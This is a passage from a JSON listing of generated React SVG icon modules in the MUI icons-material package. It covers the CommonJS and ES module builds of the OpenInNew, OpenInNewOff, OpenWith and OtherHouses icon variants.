    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 11V3h-8l3.29 3.29-10 10L3 13v8h8l-3.29-3.29 10-10z\"\n}), 'OpenInFullTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/OpenInNew.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 19H5V5h7V3H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2v-7h-2zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3z\"\n}), 'OpenInNew');"
  },
  {
    "path": "packages/mui-icons-material/lib/OpenInNew.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 19H5V5h7V3H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2v-7h-2zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3z\"\n}), 'OpenInNew');"
  },
  {
    "path": "packages/mui-icons-material/lib/OpenInNewOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.79 5.8 14 3h7v7l-2.79-2.8-4.09 4.09-1.41-1.41zM19 12v4.17l2 2V12zm.78 10.61L18.17 21H5c-1.11 0-2-.9-2-2V5.83L1.39 4.22 2.8 2.81l18.38 18.38zM16.17 19l-4.88-4.88-1.59 1.59-1.41-1.41 1.59-1.59L5 7.83V19zM7.83 5H12V3H5.83z\"\n}), 'OpenInNewOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/OpenInNewOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.79 5.8 14 3h7v7l-2.79-2.8-4.09 4.09-1.41-1.41zM19 12v4.17l2 2V12zm.78 10.61L18.17 21H5c-1.11 0-2-.9-2-2V5.83L1.39 4.22 2.8 2.81l18.38 18.38zM16.17 19l-4.88-4.88-1.59 1.59-1.41-1.41 1.59-1.59L5 7.83V19zM7.83 5H12V3H5.83z\"\n}), 'OpenInNewOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/OpenInNewOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.79 5.8 14 3h7v7l-2.79-2.8-4.09 4.09-1.41-1.41zM19 12v4.17l2 2V12zm.78 10.61L18.17 21H5c-1.11 0-2-.9-2-2V5.83L1.39 4.22 2.8 2.81l18.38 18.38zM16.17 19l-4.88-4.88-1.59 1.59-1.41-1.41 1.59-1.59L5 7.83V19zM7.83 5H12V3H5.83z\"\n}), 'OpenInNewOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/OpenInNewOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.79 5.8 14 3h7v7l-2.79-2.8-4.09 4.09-1.41-1.41zM19 12v4.17l2 2V12zm.78 10.61L18.17 21H5c-1.11 0-2-.9-2-2V5.83L1.39 4.22 2.8 2.81l18.38 18.38zM16.17 19l-4.88-4.88-1.59 1.59-1.41-1.41 1.59-1.59L5 7.83V19zM7.83 5H12V3H5.83z\"\n}), 'OpenInNewOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/OpenInNewOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16.79 5.8-1.94-1.94c-.31-.32-.09-.86.36-.86h5.29c.28 0 .5.22.5.5v5.29c0 .45-.54.67-.85.35L18.21 7.2l-4.09 4.09-1.41-1.41zM19 13v3.17l2 2V13c0-.55-.45-1-1-1s-1 .45-1 1m.07 8.9-.9-.9H5c-1.11 0-2-.9-2-2V5.83l-.9-.9a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0l16.97 16.97c.39.39.39 1.02 0 1.41s-1.02.39-1.41 0m-2.9-2.9-4.88-4.88-.88.88c-.39.39-1.02.39-1.41 0a.996.996 0 0 1 0-1.41l.88-.88L5 7.83V19zM7.83 5H11c.55 0 1-.45 1-1s-.45-1-1-1H5.83z\"\n}), 'OpenInNewOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/OpenInNewOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m16.79 5.8-1.94-1.94c-.31-.32-.09-.86.36-.86h5.29c.28 0 .5.22.5.5v5.29c0 .45-.54.67-.85.35L18.21 7.2l-4.09 4.09-1.41-1.41zM19 13v3.17l2 2V13c0-.55-.45-1-1-1s-1 .45-1 1m.07 8.9-.9-.9H5c-1.11 0-2-.9-2-2V5.83l-.9-.9a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0l16.97 16.97c.39.39.39 1.02 0 1.41s-1.02.39-1.41 0m-2.9-2.9-4.88-4.88-.88.88c-.39.39-1.02.39-1.41 0a.996.996 0 0 1 0-1.41l.88-.88L5 7.83V19zM7.83 5H11c.55 0 1-.45 1-1s-.45-1-1-1H5.83z\"\n}), 'OpenInNewOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/OpenInNewOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.79 5.8 14 3h7v7l-2.79-2.8-4.09 4.09-1.41-1.41zM19 12v4.17l2 2V12zm.78 10.61L18.17 21H3V5.83L1.39 4.22 2.8 2.81l18.38 18.38zM16.17 19l-4.88-4.88-1.59 1.59-1.41-1.41 1.59-1.59L5 7.83V19zM7.83 5H12V3H5.83z\"\n}), 'OpenInNewOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/OpenInNewOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.79 5.8 14 3h7v7l-2.79-2.8-4.09 4.09-1.41-1.41zM19 12v4.17l2 2V12zm.78 10.61L18.17 21H3V5.83L1.39 4.22 2.8 2.81l18.38 18.38zM16.17 19l-4.88-4.88-1.59 1.59-1.41-1.41 1.59-1.59L5 7.83V19zM7.83 5H12V3H5.83z\"\n}), 'OpenInNewOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/OpenInNewOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.79 5.8 14 3h7v7l-2.79-2.8-4.09 4.09-1.41-1.41zM19 12v4.17l2 2V12zm.78 10.61L18.17 21H5c-1.11 0-2-.9-2-2V5.83L1.39 4.22 2.8 2.81l18.38 18.38zM16.17 19l-4.88-4.88-1.59 1.59-1.41-1.41 1.59-1.59L5 7.83V19zM7.83 5H12V3H5.83z\"\n}), 'OpenInNewOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/OpenInNewOffTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.79 5.8 14 3h7v7l-2.79-2.8-4.09 4.09-1.41-1.41zM19 12v4.17l2 2V12zm.78 10.61L18.17 21H5c-1.11 0-2-.9-2-2V5.83L1.39 4.22 2.8 2.81l18.38 18.38zM16.17 19l-4.88-4.88-1.59 1.59-1.41-1.41 1.59-1.59L5 7.83V19zM7.83 5H12V3H5.83z\"\n}), 'OpenInNewOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/OpenInNewOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 19H5V5h7V3H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2v-7h-2zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3z\"\n}), 'OpenInNewOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/OpenInNewOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 19H5V5h7V3H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2v-7h-2zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3z\"\n}), 'OpenInNewOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/OpenInNewRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 19H6c-.55 0-1-.45-1-1V6c0-.55.45-1 1-1h5c.55 0 1-.45 1-1s-.45-1-1-1H5c-1.11 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-6c0-.55-.45-1-1-1s-1 .45-1 1v5c0 .55-.45 1-1 1M14 4c0 .55.45 1 1 1h2.59l-9.13 9.13c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0L19 6.41V9c0 .55.45 1 1 1s1-.45 1-1V4c0-.55-.45-1-1-1h-5c-.55 0-1 .45-1 1\"\n}), 'OpenInNewRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/OpenInNewRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 19H6c-.55 0-1-.45-1-1V6c0-.55.45-1 1-1h5c.55 0 1-.45 1-1s-.45-1-1-1H5c-1.11 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-6c0-.55-.45-1-1-1s-1 .45-1 1v5c0 .55-.45 1-1 1M14 4c0 .55.45 1 1 1h2.59l-9.13 9.13c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0L19 6.41V9c0 .55.45 1 1 1s1-.45 1-1V4c0-.55-.45-1-1-1h-5c-.55 0-1 .45-1 1\"\n}), 'OpenInNewRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/OpenInNewSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 19H5V5h7V3H3v18h18v-9h-2zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3z\"\n}), 'OpenInNewSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/OpenInNewSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 19H5V5h7V3H3v18h18v-9h-2zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3z\"\n}), 'OpenInNewSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/OpenInNewTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 19H5V5h7V3H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2v-7h-2zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3z\"\n}), 'OpenInNewTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/OpenInNewTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 19H5V5h7V3H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2v-7h-2zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3z\"\n}), 'OpenInNewTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/OpenWith.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 9h4V6h3l-5-5-5 5h3zm-1 1H6V7l-5 5 5 5v-3h3zm14 2-5-5v3h-3v4h3v3zm-9 3h-4v3H7l5 5 5-5h-3z\"\n}), 'OpenWith');"
  },
  {
    "path": "packages/mui-icons-material/lib/OpenWith.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 9h4V6h3l-5-5-5 5h3zm-1 1H6V7l-5 5 5 5v-3h3zm14 2-5-5v3h-3v4h3v3zm-9 3h-4v3H7l5 5 5-5h-3z\"\n}), 'OpenWith');"
  },
  {
    "path": "packages/mui-icons-material/lib/OpenWithOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 9h4V6h3l-5-5-5 5h3zm-1 1H6V7l-5 5 5 5v-3h3zm14 2-5-5v3h-3v4h3v3zm-9 3h-4v3H7l5 5 5-5h-3z\"\n}), 'OpenWithOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/OpenWithOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 9h4V6h3l-5-5-5 5h3zm-1 1H6V7l-5 5 5 5v-3h3zm14 2-5-5v3h-3v4h3v3zm-9 3h-4v3H7l5 5 5-5h-3z\"\n}), 'OpenWithOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/OpenWithRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.5 9h3c.28 0 .5-.22.5-.5V6h1.79c.45 0 .67-.54.35-.85l-3.79-3.79c-.2-.2-.51-.2-.71 0L7.85 5.15c-.31.31-.09.85.36.85H10v2.5c0 .28.22.5.5.5m-2 1H6V8.21c0-.45-.54-.67-.85-.35l-3.79 3.79c-.2.2-.2.51 0 .71l3.79 3.79c.31.31.85.09.85-.36V14h2.5c.28 0 .5-.22.5-.5v-3c0-.28-.22-.5-.5-.5m14.15 1.65-3.79-3.79c-.32-.32-.86-.1-.86.35V10h-2.5c-.28 0-.5.22-.5.5v3c0 .28.22.5.5.5H18v1.79c0 .45.54.67.85.35l3.79-3.79c.2-.19.2-.51.01-.7M13.5 15h-3c-.28 0-.5.22-.5.5V18H8.21c-.45 0-.67.54-.35.85l3.79 3.79c.2.2.51.2.71 0l3.79-3.79c.31-.31.09-.85-.35-.85H14v-2.5c0-.28-.22-.5-.5-.5\"\n}), 'OpenWithRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/OpenWithRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.5 9h3c.28 0 .5-.22.5-.5V6h1.79c.45 0 .67-.54.35-.85l-3.79-3.79c-.2-.2-.51-.2-.71 0L7.85 5.15c-.31.31-.09.85.36.85H10v2.5c0 .28.22.5.5.5m-2 1H6V8.21c0-.45-.54-.67-.85-.35l-3.79 3.79c-.2.2-.2.51 0 .71l3.79 3.79c.31.31.85.09.85-.36V14h2.5c.28 0 .5-.22.5-.5v-3c0-.28-.22-.5-.5-.5m14.15 1.65-3.79-3.79c-.32-.32-.86-.1-.86.35V10h-2.5c-.28 0-.5.22-.5.5v3c0 .28.22.5.5.5H18v1.79c0 .45.54.67.85.35l3.79-3.79c.2-.19.2-.51.01-.7M13.5 15h-3c-.28 0-.5.22-.5.5V18H8.21c-.45 0-.67.54-.35.85l3.79 3.79c.2.2.51.2.71 0l3.79-3.79c.31-.31.09-.85-.35-.85H14v-2.5c0-.28-.22-.5-.5-.5\"\n}), 'OpenWithRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/OpenWithSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 9h4V6h3l-5-5-5 5h3zm-1 1H6V7l-5 5 5 5v-3h3zm14 2-5-5v3h-3v4h3v3zm-9 3h-4v3H7l5 5 5-5h-3z\"\n}), 'OpenWithSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/OpenWithSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 9h4V6h3l-5-5-5 5h3zm-1 1H6V7l-5 5 5 5v-3h3zm14 2-5-5v3h-3v4h3v3zm-9 3h-4v3H7l5 5 5-5h-3z\"\n}), 'OpenWithSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/OpenWithTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 9h4V6h3l-5-5-5 5h3zm-1 1H6V7l-5 5 5 5v-3h3zm14 2-5-5v3h-3v4h3v3zm-9 3h-4v3H7l5 5 5-5h-3z\"\n}), 'OpenWithTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/OpenWithTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 9h4V6h3l-5-5-5 5h3zm-1 1H6V7l-5 5 5 5v-3h3zm14 2-5-5v3h-3v4h3v3zm-9 3h-4v3H7l5 5 5-5h-3z\"\n}), 'OpenWithTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/OtherHouses.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3 1 11.4l1.21 1.59L4 11.62V21h16v-9.38l1.79 1.36L23 11.4zM8 15c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m4 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m4 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'OtherHouses');"
  },
  {
    "path": "packages/mui-icons-material/lib/OtherHouses.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3 1 11.4l1.21 1.59L4 11.62V21h16v-9.38l1.79 1.36L23 11.4zM8 15c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m4 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m4 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'OtherHouses');"
  },
  {
    "path": "packages/mui-icons-material/lib/OtherHousesOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3 1 11.4l1.21 1.59L4 11.62V21h16v-9.38l1.79 1.36L23 11.4zm6 16H6v-8.9l6-4.58 6 4.58zm-9-5c0 .55-.45 1-1 1s-1-.45-1-1 .45-1 1-1 1 .45 1 1m3-1c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m3 1c0-.55.45-1 1-1s1 .45 1 1-.45 1-1 1-1-.45-1-1\"\n}), 'OtherHousesOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/OtherHousesOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3 1 11.4l1.21 1.59L4 11.62V21h16v-9.38l1.79 1.36L23 11.4zm6 16H6v-8.9l6-4.58 6 4.58zm-9-5c0 .55-.45 1-1 1s-1-.45-1-1 .45-1 1-1 1 .45 1 1m3-1c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m3 1c0-.55.45-1 1-1s1 .45 1 1-.45 1-1 1-1-.45-1-1\"\n}), 'OtherHousesOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/OtherHousesRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1.61 12.19c.34.44.96.52 1.4.19l.99-.76V20c0 .55.45 1 1 1h14c.55 0 1-.45 1-1v-8.38l.99.76c.44.34 1.07.25 1.4-.19.34-.44.25-1.07-.19-1.4l-9.6-7.33c-.36-.27-.86-.27-1.21 0l-9.6 7.33c-.43.34-.52.97-.18 1.4M8 15c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m4 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m4 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'OtherHousesRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/OtherHousesRounded.mjs",
